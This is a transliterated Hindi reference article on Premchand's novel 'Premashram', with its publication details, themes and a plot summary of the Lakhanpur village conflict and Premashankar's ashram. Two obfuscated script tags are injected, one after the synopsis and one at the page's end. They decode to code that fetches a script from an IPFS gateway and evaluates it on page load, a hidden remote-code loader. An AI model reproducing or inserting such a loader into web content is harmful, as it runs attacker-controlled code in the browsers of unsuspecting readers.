प्रेमाश्रम -प्रेमचंद
premashram -premachand
| |
| lekhak | muanshi premachand |
| mool shirshak | premashram |
| prakashak | vani prakashan |
| prakashan tithi | 1922 |
| ISBN | 81-7055-191-9 |
| desh | bharat |
| prishth: | 364 |
| bhasha | hindi |
| vishay | samajik, yatharthavadi |
| prakar | upanyas |
'premashram', jisaka prakashan 1922 ee. mean hua tha, muanshi premachand ka sarvapratham upanyas hai, jisamean unhoanne nagarik jivan aur gramin jivan ka sampark sthapit kiya hai aur rajanitik kshetr mean padarpan karate haian. parivaroan ki katha ka moh to ve is upanyas mean bhi nahian chho d sake, kyoanki prabhashankar rayakamalanand gayatri aur dipti jvalasianh ke parivaroan ki katha se hi upanyas ka tana-bana bana gaya hai, to bhi ve jivan ke vyapak kshetr mean ate haian. bharatiy svatantrata sangram ki pratham jhaanki aur bhaganagat ram-rajy ki sthapana ka svapn 'premashram' ki apani visheshata hai. usaka uddeshy hai- samy siddhaant. premashankar dvara hajipur mean sthapit premashram mean jivan-maran ke gridh jatil prashnoan ki mimaansa hoti thi. sabhi log pakshapat aur ahankar se mukt the. ashram saraly, santosh aur srivichar ki tapobhoomi ban gaya tha vahaan n dhan ki pooja hoti thi aur n dinata pairoan tale kuchali jati thi. ashram mean sab ek doosare ke mitr aur hitaishi the. manav-kalyan unaka charam lakshy tha. usaka vyavaharik roop hamean upanyas ke 'upasanhar' shirshak aansh mean milata hai. lakhanapur gaanv mean svarth-seva aur maya ka prabhav nahian rah gaya. vahaan ab manushy ki manushy ke roop mean pratishtha huee hai-ais manushy ki jisake jivan mean sukh, shaanti, anand aur atmollas hai.
kathanak
'premashram' ki katha ka sritrapat banaras se bahar mil door lakhanapur gaanv se hota hai. zamiandar jnanashankar ki or se shuddh ghi ke lie bayana bantana hai. keval manohar nahian leta. manohar ki ghrishtata zamiandar aur usake karinda gaus khaan ke lie asahy thi. jnanashankar to usase bahut naraz hote haian aur is mamale ko lekar apane chacha prabhashankar tak se big d jate hai. prabhashankar purane rees haian, banaras ke aurangabad muhalle mean rahate haian aur apane asamiyoan ke prati bhi vatsaly bhav rakhate haian. unake bhaee jatashankar ke putr jnanashankar ko unaki yah udarata pasand nahian. apane chacha ki niti se prasann n hone ke karan ve prabhashankar ke daroga putr dayashankar par chal rahe abhiyog mean jara bhi sahayata karane ke lie prastut nahian haian kiantu unake mitr dipti jvalasianh ne dayashankar ko chho d diya. naubat yahaan tak pahuanchi ki jnanashankar ne parivar mean bantavara kara liya. dipti jvalasianh nyayashil aur dayalu vyakti the. kartavy-palan ki or unaka sadaiv dhyan rahata tha. ve gaanv ke daure mean begari band kara dene ki ajna dete haian aur manohar ke putr balaraj ki nirbhikata se prasann hote haian. jnanashankar atyant svarth-priy aur dhanalolup hai. jab apane sasur ray kamalanand (lakhanoo) ke putr ki mrityu ke samay ve apani patni vidya (ray kamalanand ki chhoti putri) ke sath lakhanoo pahuanchate haian to unaki nigah apani vidhava sali gayatri par aur usake dhan-sampatti par bhi p dati hai. ray kamalanand b de hi rasik aur anubhavi vyakti haian. ve jnanashankar niyat turant ta d jate haian. ve yah bhi samajh jate hai ki jnanashankar ki drishti gayatri aur usaki dhan-sampatti par hi nahian, unaki apani dhan-sampatti par bhi hai. saral-hridaya gayatri jnanashankar ke panje mean dhire-dhire phansati jati hai. ve apane uddeshy ki poorti mean satat prayatnashil rahate haian. udhar gaanv mean aye din koee-n-koee atyachar hota rahata hai. jnanashankar ke bhaee premashankar bhi amerika se laut ate haian. ve navin arthik, samajik aur rajanitik vicharoan s anupranit hokar ghar vapis aye haian. jnanashankar ko unake vapis ane se hardik prasannata n huee. premashankar ke videsh-gaman ke phalasvaroop unake jati-bahishkar ya prayashchit ki samasya bhi uthati hai. yahaan tak ki premashankar nirbhik hokar apane marg ka nirman svayan karate hai. ve sab prakar ka arthik lobh chho dakar jan-seva ka marg grahan karate aur hajipur mean apana ashram sthapit karate haian. jnanashankar ko apane bhaee ka samy-siddhaant bilkul pasand nahian. premashankar ne jab paitrik sampatti mean apane adhikar ko tilaanjali de di to jnanashankar ko atyant prasannata huee. ve ab gayatri ke yahaan gorakhapur ane-jane gale aur apani buddhi, vyavaharikata, prabandh-patuta aur kary-kushalata ke phalasvaroop us par poorn roop se havi hi nahian ho gaye, varanh usaki dharmikata ka anuchit labh uthate hue 'radha-krishnabhav' ki bhakti ka bhi anand uthane lage. isi samay vilasi ka apaman karane ke karan manohar ne sath jakar balaraj dvara gaus khaan karinda ki hatya kara di, jisake phalasvaroop sara gaanv vipatti mean p d gaya. gaanvavaloan par mukadama chala. premashankar aur dipti jvalasianh unaki arthik aur qanooni sahayata ke lie katibaddh ho gaye. jnanashankar ko yah bat bilkul achchhi n lagi. udhar ray kamalanand jnanashankar ki 'bhakti' ke jal se gayatri ko bachana chahate the. jnanashankar ne unhean vish dekar mar dalana chaha kiantu ray kamalanand apane yog-bal dvara vish ko pacha gaye. ray kamalanand apane ko chetavani deni chahi. yadyapi vidya ko apane pati ki svarthaparata ko kshudrata bilkul n suhati thi to bhi use pati ke naitik charitr ke sambandh mean abhi tak koee sandeh natha. isalie ray kamalanand ki chetavani use achchhi n lagi kiantu banaras akar jab usane jnanashankar aur gayatri ka 'bhakti-sambandh' dekha to aankhean khul gayi. gayatri ko to isase atmaglani huee hi, vidya ko bhi atyadhik manasik klesh hua. jab jnanashankar ne mayashankar ko gayatri ki god dena chaha tab to usane apane hathoan ihalila hi samapt kar di. vidya ki mrityu ne gayatri ke samane sari paristhiti spasht kar di. vah jnanashankar ki badaniyati aur kroorata se hi avagat n huee varanh vidya ke rakt se apane hi hath saanp kar tirthatan ke lie chali jati hai. vah badarinarayan jana chahati thi, kiantu chitrakoot mean ek mahatma ki (jo vastav mean ray kamalanand the) charcha sunakar vah udhar hi chal p di. vah apane manasik sangharsh ko liye jab paha di par chadhane ki cheshta kar rahi thi, us samay pair phisal jane ke karan parvat ke gahan gart mean girakar mrityu ko prapt ho gayi. premashankar aur dipti jvalasianh ne irphan ali vakil, aur d aau. priyanath chop da ki sahayata se gaanv valoan ki raksha ki, yadyapi manohar ne jel hi mean atmahatya kar li thi. itana hi, nahian, irphan ali aur da. priyanath chop da jaise atm-seviyoan ke hriday mean premashankar apane sneh aur tyag se parivartan upasthit kar dete haian. ijad husen bhi, jo pahale hindoo-muslim ittihad ke bahane apana hi svarth sadhate the, premashankar ke vyaktitv se prabhavit ho sachaee aur eeman ka marg grahan karate haian. shraddha, jo apani j d aur mithya dharmikata ke karan apane pati se kati-kati rahati hai, ab unaki seva tyag, sanyam, sadhana, paropakar-vyastata adi ko prayashchit ka asali roop samajh kar pati ke charanoan ki sachchi upasika ban sachamuch shraddha aur anurag ki devi ban jati hai. prabhashankar ka putr dayashankar vairagy dharan kar leta hai. un ke do any putr tejashankar aur padmashankar asani se samriddh ho jane ki akaanksha se prerit ho bhairav-mantr jagane ke prayatn mean apana-apana aant kar dalane haian. mithya vishvas aur kushiksha ne do jivan-pushpoan ko apane pairoan tale kuchal diya. mayashankar prarambh se hi santosh aur tyag ki bhavana lie hue tha. premashankar ke sanrakshan mean rahane ke karan usake ye sanskar aur bhi dridh ho gaye. apane tilakotsav ke samay usane jo bhashan diya, usamean dinoan ke kalyan, karttavy-palan, nyay, dharm, durbaloan ke aansuoan ki or hi adhik dhyan diya gaya tha. usane jamiandari-unmoolan aur sahakarika ke bhav vyakt kiye the. jnanashankar ne apane jivan bhar ki ashaoan par pani phirate dekh ganga mean doobakar atmahatya kar li.
aant mean premashram ke sadasyoan ke sath premashankar aur mayashankar dinoan ki raksha aur unake jivan ko sukhamay banane mean dattachitt rahate haian. rajasabha ke sadasyoan ke roop mean bhi ve jan-seva ki bhavana se hi prerit hote haian. gaanv mean ramarajy ki sthapana kar ve divy anand ka anubhav karate haian. vividh sudharoan, saphaee, shiksha, achchhi krishi ke lie achchhe bij ki vyavastha ki jati hai. ve praja ke trasti ban jate haian.
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika tippani aur sandarbh
dhireandr, varma “bhag- 2 par adharit”, hiandi sahity kosh (hiandi), 360.
bahari k diyaan
sanbandhit lekh
varnamala kramanusar lekh khoj
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>